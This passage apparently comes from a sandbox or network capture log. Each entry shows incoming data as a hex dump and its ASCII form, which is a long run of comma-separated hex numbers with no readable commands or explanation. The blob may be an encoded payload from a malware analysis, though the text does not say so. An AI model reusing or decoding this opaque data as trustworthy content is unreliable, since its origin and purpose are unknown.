2023-04-20 23:05:26 UTC	17869	IN	Data Raw: 64 2c 61 31 2c 37 64 2c 31 30 32 2c 65 66 2c 31 32 64 2c 35 37 2c 39 65 2c 61 34 2c 36 62 2c 31 33 31 2c 38 63 2c 38 63 2c 62 65 2c 61 30 2c 66 33 2c 64 32 2c 61 34 2c 38 63 2c 62 38 2c 65 39 2c 31 30 34 2c 39 65 2c 31 31 39 2c 66 63 2c 66 32 2c 65 38 2c 31 33 39 2c 31 30 30 2c 62 64 2c 39 35 2c 66 66 2c 61 63 2c 66 35 2c 63 30 2c 31 34 65 2c 61 62 2c 31 31 31 2c 65 39 2c 62 33 2c 38 31 2c 36 36 2c 39 33 2c 39 35 2c 66 38 2c 31 30 62 2c 64 30 2c 38 30 2c 66 34 2c 65 30 2c 64 39 2c 63 66 2c 31 30 32 2c 66 66 2c 64 32 2c 31 33 32 2c 38 36 2c 35 36 2c 31 32 39 2c 63 62 2c 31 30 61 2c 31 34 36 2c 35 31 2c 61 35 2c 37 34 2c 64 63 2c 65 37 2c 66 66 2c 31 30 65 2c 31 33 65 2c 31 31 37 2c 62 33 2c 31 33 36 2c 35 35 2c 31 35 33 2c 31 34 62 2c 31 32 36 2c 39 65 2c Data Ascii: d,a1,7d,102,ef,12d,57,9e,a4,6b,131,8c,8c,be,a0,f3,d2,a4,8c,b8,e9,104,9e,119,fc,f2,e8,139,100,bd,95,ff,ac,f5,c0,14e,ab,111,e9,b3,81,66,93,95,f8,10b,d0,80,f4,e0,d9,cf,102,ff,d2,132,86,56,129,cb,10a,146,51,a5,74,dc,e7,ff,10e,13e,117,b3,136,55,153,14b,126,9e,
2023-04-20 23:05:26 UTC	17885	IN	Data Raw: 64 2c 35 33 2c 64 62 2c 63 35 2c 31 31 35 2c 31 35 31 2c 65 38 2c 31 31 62 2c 31 31 64 2c 31 31 62 2c 31 32 63 2c 65 37 2c 64 62 2c 35 34 2c 36 38 2c 31 33 64 2c 31 31 35 2c 31 35 31 2c 31 31 36 2c 65 66 2c 64 65 2c 31 31 64 2c 31 34 32 2c 31 34 37 2c 31 30 63 2c 61 63 2c 31 33 64 2c 31 34 62 2c 31 34 39 2c 36 37 2c 36 35 2c 31 30 37 2c 39 39 2c 66 33 2c 62 64 2c 31 33 35 2c 31 36 30 2c 31 30 64 2c 63 36 2c 31 34 62 2c 31 32 62 2c 31 30 38 2c 31 32 66 2c 35 66 2c 31 33 64 2c 38 66 2c 33 39 2c 35 37 2c 63 34 2c 31 32 36 2c 31 35 37 2c 31 32 63 2c 31 31 39 2c 61 63 2c 66 31 2c 31 33 36 2c 39 34 2c 39 34 2c 36 35 2c 66 64 2c 39 32 2c 31 31 66 2c 61 62 2c 66 32 2c 31 30 36 2c 31 30 65 2c 31 31 62 2c 31 33 63 2c 31 30 34 2c 31 33 61 2c 38 38 2c 63 34 2c 36 37 Data Ascii: d,53,db,c5,115,151,e8,11b,11d,11b,12c,e7,db,54,68,13d,115,151,116,ef,de,11d,142,147,10c,ac,13d,14b,149,67,65,107,99,f3,bd,135,160,10d,c6,14b,12b,108,12f,5f,13d,8f,39,57,c4,126,157,12c,119,ac,f1,136,94,94,65,fd,92,11f,ab,f2,106,10e,11b,13c,104,13a,88,c4,67
2023-04-20 23:05:26 UTC	17901	IN	Data Raw: 61 2c 31 32 31 2c 66 66 2c 37 66 2c 31 31 34 2c 61 63 2c 31 34 30 2c 39 32 2c 63 36 2c 62 37 2c 62 36 2c 61 33 2c 31 34 33 2c 63 30 2c 62 32 2c 61 31 2c 38 39 2c 33 30 2c 36 65 2c 39 33 2c 64 35 2c 39 36 2c 31 35 38 2c 31 31 64 2c 63 34 2c 38 64 2c 65 32 2c 38 39 2c 65 33 2c 31 31 64 2c 63 36 2c 37 35 2c 35 38 2c 33 35 2c 37 30 2c 31 32 30 2c 66 34 2c 62 31 2c 65 30 2c 62 66 2c 31 30 38 2c 39 30 2c 39 37 2c 37 38 2c 63 64 2c 31 36 36 2c 36 38 2c 61 35 2c 64 38 2c 39 63 2c 64 36 2c 39 64 2c 36 63 2c 65 62 2c 31 35 31 2c 66 32 2c 66 37 2c 62 65 2c 31 33 64 2c 37 64 2c 38 39 2c 62 32 2c 61 65 2c 61 35 2c 39 35 2c 31 31 35 2c 66 32 2c 31 31 36 2c 39 34 2c 62 37 2c 65 30 2c 63 35 2c 37 38 2c 31 32 64 2c 37 36 2c 62 66 2c 38 62 2c 31 31 36 2c 37 62 2c 37 30 2c Data Ascii: a,121,ff,7f,114,ac,140,92,c6,b7,b6,a3,143,c0,b2,a1,89,30,6e,93,d5,96,158,11d,c4,8d,e2,89,e3,11d,c6,75,58,35,70,120,f4,b1,e0,bf,108,90,97,78,cd,166,68,a5,d8,9c,d6,9d,6c,eb,151,f2,f7,be,13d,7d,89,b2,ae,a5,95,115,f2,116,94,b7,e0,c5,78,12d,76,bf,8b,116,7b,70,
2023-04-20 23:05:26 UTC	17917	IN	Data Raw: 2c 31 32 39 2c 36 65 2c 65 64 2c 36 63 2c 31 32 61 2c 61 63 2c 63 65 2c 66 32 2c 31 32 36 2c 36 61 2c 38 62 2c 31 32 30 2c 39 34 2c 31 31 34 2c 61 35 2c 65 63 2c 31 31 34 2c 31 31 37 2c 39 66 2c 39 36 2c 61 63 2c 31 34 33 2c 64 37 2c 39 32 2c 62 30 2c 31 30 30 2c 35 66 2c 37 38 2c 39 63 2c 65 66 2c 66 61 2c 64 37 2c 66 36 2c 63 62 2c 63 64 2c 64 63 2c 34 38 2c 31 33 61 2c 38 31 2c 31 33 30 2c 64 38 2c 65 62 2c 31 30 35 2c 64 66 2c 31 31 32 2c 64 34 2c 38 62 2c 62 39 2c 62 62 2c 38 34 2c 62 37 2c 31 32 65 2c 31 34 66 2c 66 36 2c 62 34 2c 61 63 2c 31 30 64 2c 61 66 2c 31 31 63 2c 38 61 2c 63 30 2c 63 62 2c 31 36 30 2c 63 36 2c 31 31 36 2c 61 61 2c 31 30 64 2c 63 38 2c 34 39 2c 62 64 2c 36 31 2c 61 34 2c 31 31 66 2c 36 32 2c 38 35 2c 64 35 2c 31 31 32 2c 62 Data Ascii: ,129,6e,ed,6c,12a,ac,ce,f2,126,6a,8b,120,94,114,a5,ec,114,117,9f,96,ac,143,d7,92,b0,100,5f,78,9c,ef,fa,d7,f6,cb,cd,dc,48,13a,81,130,d8,eb,105,df,112,d4,8b,b9,bb,84,b7,12e,14f,f6,b4,ac,10d,af,11c,8a,c0,cb,160,c6,116,aa,10d,c8,49,bd,61,a4,11f,62,85,d5,112,b
2023-04-20 23:05:26 UTC	17933	IN	Data Raw: 2c 64 36 2c 31 30 37 2c 34 39 2c 63 61 2c 31 31 36 2c 64 63 2c 66 64 2c 31 34 61 2c 37 66 2c 31 35 38 2c 61 38 2c 61 39 2c 31 32 31 2c 31 30 63 2c 38 39 2c 62 62 2c 61 30 2c 62 32 2c 62 62 2c 66 31 2c 63 30 2c 31 30 39 2c 39 61 2c 61 38 2c 31 30 35 2c 31 31 65 2c 65 38 2c 62 65 2c 31 34 36 2c 33 61 2c 65 31 2c 65 30 2c 62 31 2c 65 33 2c 61 36 2c 31 30 66 2c 31 32 39 2c 37 39 2c 63 39 2c 37 63 2c 36 33 2c 31 35 38 2c 38 33 2c 31 32 38 2c 37 36 2c 65 65 2c 61 33 2c 31 30 34 2c 37 31 2c 37 61 2c 31 32 30 2c 33 65 2c 64 37 2c 61 65 2c 64 62 2c 31 35 37 2c 31 31 34 2c 39 62 2c 31 32 31 2c 62 62 2c 31 30 30 2c 37 39 2c 31 32 66 2c 63 31 2c 63 37 2c 31 31 64 2c 64 34 2c 37 61 2c 66 30 2c 38 35 2c 35 64 2c 62 62 2c 31 35 63 2c 31 35 37 2c 61 38 2c 31 32 38 2c 37 Data Ascii: ,d6,107,49,ca,116,dc,fd,14a,7f,158,a8,a9,121,10c,89,bb,a0,b2,bb,f1,c0,109,9a,a8,105,11e,e8,be,146,3a,e1,e0,b1,e3,a6,10f,129,79,c9,7c,63,158,83,128,76,ee,a3,104,71,7a,120,3e,d7,ae,db,157,114,9b,121,bb,100,79,12f,c1,c7,11d,d4,7a,f0,85,5d,bb,15c,157,a8,128,7
2023-04-20 23:05:26 UTC	17949	IN	Data Raw: 2c 31 35 34 2c 31 36 32 2c 38 33 2c 31 34 66 2c 63 63 2c 31 32 30 2c 64 61 2c 63 64 2c 37 65 2c 31 34 66 2c 38 39 2c 37 36 2c 31 31 33 2c 31 31 37 2c 61 38 2c 31 32 36 2c 37 38 2c 65 65 2c 31 33 39 2c 31 35 30 2c 36 38 2c 37 65 2c 38 37 2c 31 33 39 2c 31 32 62 2c 62 37 2c 38 32 2c 39 30 2c 31 34 63 2c 31 36 35 2c 35 37 2c 39 61 2c 31 30 32 2c 38 36 2c 31 37 34 2c 37 64 2c 37 32 2c 34 63 2c 34 63 2c 36 32 2c 66 32 2c 39 65 2c 31 34 64 2c 31 35 35 2c 31 36 32 2c 31 30 64 2c 37 38 2c 31 33 61 2c 33 38 2c 38 64 2c 39 35 2c 31 32 39 2c 31 33 30 2c 39 31 2c 35 64 2c 62 30 2c 31 32 65 2c 31 33 37 2c 37 61 2c 66 66 2c 31 31 35 2c 31 31 64 2c 63 35 2c 35 63 2c 64 34 2c 31 36 32 2c 38 33 2c 37 65 2c 31 31 30 2c 66 30 2c 38 35 2c 31 31 65 2c 35 31 2c 31 34 31 2c 31 Data Ascii: ,154,162,83,14f,cc,120,da,cd,7e,14f,89,76,113,117,a8,126,78,ee,139,150,68,7e,87,139,12b,b7,82,90,14c,165,57,9a,102,86,174,7d,72,4c,4c,62,f2,9e,14d,155,162,10d,78,13a,38,8d,95,129,130,91,5d,b0,12e,137,7a,ff,115,11d,c5,5c,d4,162,83,7e,110,f0,85,11e,51,141,1
2023-04-20 23:05:26 UTC	17965	IN	Data Raw: 38 2c 37 61 2c 31 33 32 2c 61 32 2c 31 35 30 2c 64 30 2c 36 66 2c 66 61 2c 63 33 2c 36 62 2c 31 30 39 2c 31 33 63 2c 31 35 31 2c 63 39 2c 31 33 38 2c 65 64 2c 31 36 65 2c 31 36 30 2c 34 37 2c 64 61 2c 61 30 2c 66 30 2c 31 33 37 2c 36 61 2c 31 32 36 2c 31 35 66 2c 31 33 34 2c 31 34 32 2c 35 61 2c 31 33 63 2c 63 36 2c 31 30 35 2c 38 36 2c 64 38 2c 31 30 36 2c 37 62 2c 31 31 34 2c 37 30 2c 66 62 2c 38 38 2c 66 30 2c 37 32 2c 61 38 2c 63 38 2c 39 63 2c 64 61 2c 31 32 34 2c 66 64 2c 31 31 63 2c 36 63 2c 65 33 2c 37 39 2c 66 39 2c 62 33 2c 36 33 2c 61 34 2c 31 31 37 2c 31 34 35 2c 65 31 2c 31 32 63 2c 36 61 2c 38 38 2c 31 31 32 2c 31 36 34 2c 31 31 37 2c 36 38 2c 31 34 35 2c 62 32 2c 38 62 2c 37 31 2c 31 30 66 2c 37 64 2c 64 63 2c 39 64 2c 31 32 65 2c 31 32 32 Data Ascii: 8,7a,132,a2,150,d0,6f,fa,c3,6b,109,13c,151,c9,138,ed,16e,160,47,da,a0,f0,137,6a,126,15f,134,142,5a,13c,c6,105,86,d8,106,7b,114,70,fb,88,f0,72,a8,c8,9c,da,124,fd,11c,6c,e3,79,f9,b3,63,a4,117,145,e1,12c,6a,88,112,164,117,68,145,b2,8b,71,10f,7d,dc,9d,12e,122
2023-04-20 23:05:26 UTC	17981	IN	Data Raw: 2c 37 61 2c 31 32 30 2c 38 63 2c 31 32 33 2c 63 32 2c 31 34 39 2c 63 34 2c 31 35 31 2c 62 31 2c 33 32 2c 38 33 2c 31 32 64 2c 37 31 2c 65 35 2c 31 34 37 2c 62 65 2c 66 34 2c 62 66 2c 31 33 31 2c 36 35 2c 31 35 37 2c 31 37 30 2c 37 65 2c 31 35 32 2c 37 65 2c 33 30 2c 31 30 38 2c 35 33 2c 64 34 2c 63 61 2c 65 39 2c 61 33 2c 65 34 2c 37 37 2c 37 38 2c 31 32 36 2c 38 65 2c 63 66 2c 62 61 2c 31 31 35 2c 36 64 2c 33 64 2c 63 35 2c 31 30 63 2c 37 39 2c 31 33 65 2c 38 61 2c 31 34 62 2c 61 62 2c 31 31 61 2c 31 33 65 2c 62 66 2c 37 39 2c 31 36 39 2c 61 31 2c 39 62 2c 64 61 2c 31 31 39 2c 36 30 2c 31 32 34 2c 39 31 2c 31 32 31 2c 38 62 2c 31 32 37 2c 35 30 2c 65 32 2c 39 32 2c 37 35 2c 64 38 2c 31 33 61 2c 39 61 2c 31 34 65 2c 37 66 2c 37 33 2c 31 31 30 2c 38 38 2c Data Ascii: ,7a,120,8c,123,c2,149,c4,151,b1,32,83,12d,71,e5,147,be,f4,bf,131,65,157,170,7e,152,7e,30,108,53,d4,ca,e9,a3,e4,77,78,126,8e,cf,ba,115,6d,3d,c5,10c,79,13e,8a,14b,ab,11a,13e,bf,79,169,a1,9b,da,119,60,124,91,121,8b,127,50,e2,92,75,d8,13a,9a,14e,7f,73,110,88,
2023-04-20 23:05:26 UTC	17997	IN	Data Raw: 31 33 33 2c 31 34 62 2c 39 66 2c 39 65 2c 65 65 2c 31 35 31 2c 34 39 2c 62 62 2c 36 30 2c 62 33 2c 31 30 30 2c 62 63 2c 64 61 2c 37 38 2c 62 63 2c 31 35 39 2c 39 65 2c 38 39 2c 65 39 2c 31 33 64 2c 38 64 2c 35 39 2c 38 61 2c 63 38 2c 31 34 34 2c 31 31 61 2c 62 36 2c 62 35 2c 37 35 2c 31 30 64 2c 36 64 2c 66 37 2c 35 39 2c 64 33 2c 63 36 2c 38 39 2c 66 66 2c 31 32 39 2c 36 36 2c 39 64 2c 31 33 38 2c 39 33 2c 31 31 65 2c 65 31 2c 65 36 2c 31 32 39 2c 31 32 32 2c 31 35 62 2c 31 31 66 2c 64 38 2c 37 36 2c 37 63 2c 31 33 65 2c 66 35 2c 31 32 37 2c 31 32 34 2c 37 66 2c 35 32 2c 36 66 2c 62 36 2c 63 65 2c 62 63 2c 38 35 2c 37 39 2c 63 39 2c 39 65 2c 31 35 63 2c 38 39 2c 38 37 2c 31 32 36 2c 39 39 2c 35 31 2c 39 38 2c 35 64 2c 31 31 66 2c 38 39 2c 39 31 2c 31 30 Data Ascii: 133,14b,9f,9e,ee,151,49,bb,60,b3,100,bc,da,78,bc,159,9e,89,e9,13d,8d,59,8a,c8,144,11a,b6,b5,75,10d,6d,f7,59,d3,c6,89,ff,129,66,9d,138,93,11e,e1,e6,129,122,15b,11f,d8,76,7c,13e,f5,127,124,7f,52,6f,b6,ce,bc,85,79,c9,9e,15c,89,87,126,99,51,98,5d,11f,89,91,10
2023-04-20 23:05:26 UTC	18013	IN	Data Raw: 32 2c 62 63 2c 65 32 2c 63 34 2c 62 62 2c 61 63 2c 64 32 2c 61 32 2c 61 36 2c 37 33 2c 64 61 2c 31 30 34 2c 31 30 32 2c 63 66 2c 39 36 2c 38 33 2c 31 30 39 2c 39 31 2c 31 33 66 2c 35 66 2c 63 34 2c 66 32 2c 37 64 2c 33 61 2c 61 35 2c 31 32 33 2c 31 32 34 2c 31 36 61 2c 39 64 2c 31 32 39 2c 31 30 31 2c 31 31 61 2c 31 32 62 2c 36 34 2c 62 37 2c 31 32 32 2c 62 35 2c 31 35 39 2c 34 34 2c 31 35 39 2c 31 32 62 2c 32 64 2c 31 30 36 2c 65 37 2c 31 33 37 2c 63 35 2c 31 30 31 2c 39 63 2c 31 36 39 2c 61 65 2c 63 33 2c 36 37 2c 37 35 2c 31 32 33 2c 64 36 2c 61 31 2c 39 31 2c 31 32 61 2c 31 36 61 2c 37 38 2c 31 34 39 2c 31 30 62 2c 61 30 2c 31 30 66 2c 31 33 31 2c 64 62 2c 31 33 37 2c 64 35 2c 38 66 2c 63 37 2c 61 37 2c 31 34 32 2c 63 31 2c 32 65 2c 36 34 2c 62 30 2c Data Ascii: 2,bc,e2,c4,bb,ac,d2,a2,a6,73,da,104,102,cf,96,83,109,91,13f,5f,c4,f2,7d,3a,a5,123,124,16a,9d,129,101,11a,12b,64,b7,122,b5,159,44,159,12b,2d,106,e7,137,c5,101,9c,169,ae,c3,67,75,123,d6,a1,91,12a,16a,78,149,10b,a0,10f,131,db,137,d5,8f,c7,a7,142,c1,2e,64,b0,
2023-04-20 23:05:26 UTC	18029	IN	Data Raw: 36 33 2c 31 33 66 2c 66 31 2c 31 31 66 2c 66 32 2c 36 65 2c 61 31 2c 61 38 2c 64 30 2c 33 37 2c 31 35 35 2c 31 33 36 2c 66 32 2c 63 62 2c 38 37 2c 65 30 2c 31 30 37 2c 31 33 63 2c 31 30 30 2c 31 34 31 2c 64 39 2c 31 34 36 2c 63 62 2c 65 64 2c 63 61 2c 31 36 61 2c 31 31 33 2c 31 33 34 2c 31 33 33 2c 31 37 31 2c 63 66 2c 66 30 2c 31 30 61 2c 31 33 66 2c 66 33 2c 31 31 66 2c 31 30 34 2c 61 65 2c 31 34 39 2c 64 37 2c 63 32 2c 33 37 2c 62 37 2c 31 33 36 2c 66 32 2c 38 62 2c 31 30 62 2c 39 66 2c 66 38 2c 31 33 63 2c 65 30 2c 31 34 31 2c 65 66 2c 31 30 36 2c 62 32 2c 37 65 2c 38 61 2c 38 61 2c 66 62 2c 31 32 61 2c 31 30 37 2c 31 36 31 2c 31 37 33 2c 31 33 62 2c 31 33 30 2c 31 33 66 2c 66 37 2c 31 31 62 2c 35 32 2c 64 65 2c 31 34 66 2c 31 33 33 2c 31 33 64 2c 33 Data Ascii: 63,13f,f1,11f,f2,6e,a1,a8,d0,37,155,136,f2,cb,87,e0,107,13c,100,141,d9,146,cb,ed,ca,16a,113,134,133,171,cf,f0,10a,13f,f3,11f,104,ae,149,d7,c2,37,b7,136,f2,8b,10b,9f,f8,13c,e0,141,ef,106,b2,7e,8a,8a,fb,12a,107,161,173,13b,130,13f,f7,11b,52,de,14f,133,13d,3
2023-04-20 23:05:26 UTC	18045	IN	Data Raw: 2c 66 63 2c 63 37 2c 31 32 32 2c 65 66 2c 37 37 2c 31 34 31 2c 35 30 2c 31 34 61 2c 31 32 31 2c 31 36 33 2c 31 33 64 2c 31 32 30 2c 31 33 37 2c 63 30 2c 34 63 2c 31 30 65 2c 35 35 2c 31 31 64 2c 31 33 66 2c 31 33 64 2c 63 35 2c 66 64 2c 39 39 2c 31 35 38 2c 36 33 2c 31 32 65 2c 65 63 2c 31 30 64 2c 63 39 2c 34 63 2c 35 39 2c 37 36 2c 31 32 32 2c 66 34 2c 31 31 64 2c 63 38 2c 66 31 2c 62 39 2c 31 31 38 2c 31 34 34 2c 31 30 62 2c 39 39 2c 31 36 37 2c 31 30 31 2c 31 34 63 2c 63 30 2c 63 38 2c 38 65 2c 66 38 2c 35 63 2c 64 61 2c 31 35 65 2c 31 33 62 2c 35 63 2c 31 35 34 2c 61 63 2c 31 31 39 2c 31 31 37 2c 36 62 2c 31 35 66 2c 31 31 61 2c 38 61 2c 66 66 2c 38 63 2c 31 30 39 2c 62 33 2c 31 32 62 2c 31 30 66 2c 37 38 2c 31 33 37 2c 31 31 31 2c 31 33 61 2c 36 66 Data Ascii: ,fc,c7,122,ef,77,141,50,14a,121,163,13d,120,137,c0,4c,10e,55,11d,13f,13d,c5,fd,99,158,63,12e,ec,10d,c9,4c,59,76,122,f4,11d,c8,f1,b9,118,144,10b,99,167,101,14c,c0,c8,8e,f8,5c,da,15e,13b,5c,154,ac,119,117,6b,15f,11a,8a,ff,8c,109,b3,12b,10f,78,137,111,13a,6f
2023-04-20 23:05:26 UTC	18061	IN	Data Raw: 66 64 2c 39 63 2c 31 35 62 2c 31 34 38 2c 64 34 2c 31 33 64 2c 31 30 38 2c 66 36 2c 64 36 2c 31 32 63 2c 31 30 64 2c 31 35 33 2c 64 64 2c 31 34 30 2c 31 30 65 2c 31 31 39 2c 38 65 2c 39 34 2c 62 66 2c 31 32 32 2c 31 30 33 2c 31 37 37 2c 31 31 66 2c 39 33 2c 31 33 35 2c 31 30 39 2c 37 31 2c 31 33 32 2c 66 32 2c 31 34 30 2c 31 31 64 2c 31 33 66 2c 38 38 2c 62 62 2c 31 32 38 2c 31 34 38 2c 64 34 2c 31 33 64 2c 31 30 38 2c 31 31 64 2c 31 33 35 2c 61 37 2c 35 39 2c 31 35 34 2c 64 64 2c 31 34 30 2c 31 30 65 2c 31 30 62 2c 31 30 63 2c 31 34 39 2c 31 31 33 2c 31 32 32 2c 31 30 33 2c 31 37 37 2c 31 31 66 2c 38 63 2c 36 36 2c 35 66 2c 31 32 35 2c 31 33 31 2c 66 32 2c 31 34 30 2c 31 31 64 2c 31 31 35 2c 39 39 2c 31 31 30 2c 63 61 2c 31 34 39 2c 64 34 2c 31 33 64 2c Data Ascii: fd,9c,15b,148,d4,13d,108,f6,d6,12c,10d,153,dd,140,10e,119,8e,94,bf,122,103,177,11f,93,135,109,71,132,f2,140,11d,13f,88,bb,128,148,d4,13d,108,11d,135,a7,59,154,dd,140,10e,10b,10c,149,113,122,103,177,11f,8c,66,5f,125,131,f2,140,11d,115,99,110,ca,149,d4,13d,
2023-04-20 23:05:26 UTC	18077	IN	Data Raw: 64 35 2c 37 63 2c 31 33 64 2c 38 64 2c 38 31 2c 66 38 2c 36 35 2c 63 39 2c 61 36 2c 31 33 35 2c 31 35 36 2c 66 33 2c 38 66 2c 31 32 37 2c 31 30 38 2c 39 62 2c 61 66 2c 62 31 2c 38 31 2c 63 39 2c 31 30 31 2c 61 36 2c 33 38 2c 31 33 31 2c 64 37 2c 38 61 2c 31 36 36 2c 64 39 2c 63 31 2c 64 62 2c 38 36 2c 37 32 2c 36 38 2c 38 61 2c 38 65 2c 31 32 63 2c 31 30 39 2c 31 33 36 2c 61 32 2c 31 33 65 2c 36 38 2c 35 35 2c 36 30 2c 61 32 2c 31 34 61 2c 61 38 2c 31 32 38 2c 39 30 2c 65 34 2c 31 33 38 2c 31 36 64 2c 31 32 34 2c 63 36 2c 39 66 2c 36 63 2c 61 37 2c 63 39 2c 62 33 2c 31 33 31 2c 31 36 31 2c 64 65 2c 65 39 2c 31 33 35 2c 31 34 35 2c 66 32 2c 37 35 2c 31 32 30 2c 64 36 2c 63 36 2c 35 36 2c 33 33 2c 38 30 2c 31 33 32 2c 38 32 2c 31 33 32 2c 64 36 2c 37 30 2c Data Ascii: d5,7c,13d,8d,81,f8,65,c9,a6,135,156,f3,8f,127,108,9b,af,b1,81,c9,101,a6,38,131,d7,8a,166,d9,c1,db,86,72,68,8a,8e,12c,109,136,a2,13e,68,55,60,a2,14a,a8,128,90,e4,138,16d,124,c6,9f,6c,a7,c9,b3,131,161,de,e9,135,145,f2,75,120,d6,c6,56,33,80,132,82,132,d6,70,
2023-04-20 23:05:27 UTC	18093	IN	Data Raw: 31 34 66 2c 38 65 2c 31 35 37 2c 65 37 2c 35 66 2c 62 30 2c 31 31 36 2c 31 34 36 2c 61 34 2c 31 30 64 2c 62 64 2c 31 34 37 2c 61 62 2c 62 31 2c 66 36 2c 31 34 31 2c 63 33 2c 39 61 2c 31 30 36 2c 63 32 2c 64 66 2c 62 37 2c 65 37 2c 38 64 2c 37 31 2c 31 30 34 2c 31 31 33 2c 37 64 2c 31 35 38 2c 61 66 2c 31 32 38 2c 37 66 2c 31 33 30 2c 31 35 37 2c 31 36 38 2c 31 32 64 2c 31 32 32 2c 65 38 2c 63 33 2c 31 32 30 2c 61 32 2c 38 64 2c 65 61 2c 66 61 2c 31 32 63 2c 31 31 36 2c 31 36 30 2c 37 61 2c 63 64 2c 31 30 61 2c 63 30 2c 62 39 2c 37 35 2c 31 32 66 2c 34 63 2c 31 34 39 2c 35 35 2c 37 30 2c 31 34 62 2c 66 30 2c 31 35 37 2c 65 38 2c 65 37 2c 37 64 2c 31 34 34 2c 66 31 2c 31 32 62 2c 65 38 2c 63 39 2c 31 33 34 2c 31 31 31 2c 31 31 32 2c 31 32 65 2c 31 33 30 2c Data Ascii: 14f,8e,157,e7,5f,b0,116,146,a4,10d,bd,147,ab,b1,f6,141,c3,9a,106,c2,df,b7,e7,8d,71,104,113,7d,158,af,128,7f,130,157,168,12d,122,e8,c3,120,a2,8d,ea,fa,12c,116,160,7a,cd,10a,c0,b9,75,12f,4c,149,55,70,14b,f0,157,e8,e7,7d,144,f1,12b,e8,c9,134,111,112,12e,130,
2023-04-20 23:05:27 UTC	18109	IN	Data Raw: 2c 61 39 2c 66 63 2c 64 39 2c 31 30 65 2c 64 38 2c 31 31 38 2c 39 39 2c 31 33 36 2c 63 31 2c 31 35 39 2c 66 30 2c 63 65 2c 65 39 2c 35 64 2c 31 31 63 2c 62 64 2c 31 33 63 2c 31 30 33 2c 31 35 66 2c 64 31 2c 31 30 31 2c 31 31 37 2c 31 35 61 2c 64 38 2c 63 38 2c 31 30 38 2c 63 37 2c 65 36 2c 39 36 2c 31 32 37 2c 39 31 2c 62 33 2c 36 38 2c 38 37 2c 31 31 34 2c 31 30 65 2c 65 63 2c 37 61 2c 31 35 65 2c 64 66 2c 31 30 61 2c 31 33 31 2c 36 66 2c 38 66 2c 31 31 34 2c 63 63 2c 31 30 37 2c 63 32 2c 66 62 2c 39 62 2c 31 33 33 2c 64 65 2c 34 37 2c 31 30 33 2c 31 31 37 2c 62 38 2c 61 33 2c 62 63 2c 66 30 2c 64 30 2c 31 33 31 2c 65 33 2c 31 32 35 2c 66 62 2c 31 31 64 2c 39 64 2c 65 32 2c 31 34 30 2c 65 31 2c 63 66 2c 37 31 2c 65 38 2c 66 61 2c 65 31 2c 31 30 62 2c 37 Data Ascii: ,a9,fc,d9,10e,d8,118,99,136,c1,159,f0,ce,e9,5d,11c,bd,13c,103,15f,d1,101,117,15a,d8,c8,108,c7,e6,96,127,91,b3,68,87,114,10e,ec,7a,15e,df,10a,131,6f,8f,114,cc,107,c2,fb,9b,133,de,47,103,117,b8,a3,bc,f0,d0,131,e3,125,fb,11d,9d,e2,140,e1,cf,71,e8,fa,e1,10b,7
2023-04-20 23:05:27 UTC	18125	IN	Data Raw: 37 62 2c 36 66 2c 66 35 2c 34 61 2c 34 35 2c 65 37 2c 62 33 2c 37 64 2c 64 61 2c 37 61 2c 31 35 36 2c 64 31 2c 31 31 36 2c 31 32 33 2c 38 65 2c 31 32 32 2c 61 63 2c 37 62 2c 39 63 2c 64 66 2c 36 38 2c 31 35 38 2c 64 37 2c 31 33 36 2c 36 35 2c 31 35 36 2c 65 33 2c 31 31 30 2c 31 31 65 2c 61 62 2c 62 66 2c 31 35 66 2c 31 33 63 2c 39 35 2c 63 64 2c 31 33 36 2c 62 34 2c 37 37 2c 36 39 2c 65 34 2c 31 33 63 2c 37 32 2c 63 61 2c 62 62 2c 63 34 2c 31 34 35 2c 61 65 2c 62 37 2c 65 63 2c 31 30 38 2c 65 61 2c 64 31 2c 31 32 35 2c 37 66 2c 64 35 2c 39 36 2c 31 32 30 2c 31 32 33 2c 31 33 30 2c 37 65 2c 31 33 31 2c 31 32 61 2c 62 32 2c 31 35 61 2c 31 35 65 2c 31 35 30 2c 39 34 2c 38 33 2c 62 65 2c 39 37 2c 35 39 2c 31 33 64 2c 65 65 2c 38 39 2c 37 62 2c 31 30 37 2c 63 Data Ascii: 7b,6f,f5,4a,45,e7,b3,7d,da,7a,156,d1,116,123,8e,122,ac,7b,9c,df,68,158,d7,136,65,156,e3,110,11e,ab,bf,15f,13c,95,cd,136,b4,77,69,e4,13c,72,ca,bb,c4,145,ae,b7,ec,108,ea,d1,125,7f,d5,96,120,123,130,7e,131,12a,b2,15a,15e,150,94,83,be,97,59,13d,ee,89,7b,107,c
2023-04-20 23:05:27 UTC	18141	IN	Data Raw: 62 2c 63 33 2c 31 34 66 2c 31 32 61 2c 39 64 2c 62 35 2c 37 39 2c 63 36 2c 64 35 2c 37 32 2c 31 34 64 2c 31 33 61 2c 61 62 2c 31 33 37 2c 35 63 2c 35 36 2c 65 32 2c 31 34 62 2c 39 33 2c 31 31 32 2c 66 38 2c 36 64 2c 63 38 2c 61 61 2c 39 35 2c 65 37 2c 39 35 2c 62 30 2c 63 35 2c 38 30 2c 61 63 2c 37 37 2c 31 34 62 2c 65 66 2c 39 39 2c 66 66 2c 63 65 2c 36 61 2c 31 32 37 2c 31 31 66 2c 65 30 2c 31 33 36 2c 31 32 35 2c 31 30 33 2c 63 37 2c 31 33 34 2c 36 30 2c 31 30 34 2c 64 66 2c 31 30 64 2c 31 32 35 2c 35 61 2c 63 66 2c 61 66 2c 34 64 2c 37 62 2c 31 31 64 2c 31 32 38 2c 31 30 39 2c 31 33 64 2c 33 64 2c 31 31 33 2c 66 65 2c 65 31 2c 37 30 2c 37 39 2c 31 36 34 2c 31 30 64 2c 61 37 2c 37 35 2c 39 37 2c 31 32 65 2c 31 32 63 2c 37 31 2c 31 34 64 2c 65 66 2c 63 Data Ascii: b,c3,14f,12a,9d,b5,79,c6,d5,72,14d,13a,ab,137,5c,56,e2,14b,93,112,f8,6d,c8,aa,95,e7,95,b0,c5,80,ac,77,14b,ef,99,ff,ce,6a,127,11f,e0,136,125,103,c7,134,60,104,df,10d,125,5a,cf,af,4d,7b,11d,128,109,13d,3d,113,fe,e1,70,79,164,10d,a7,75,97,12e,12c,71,14d,ef,c
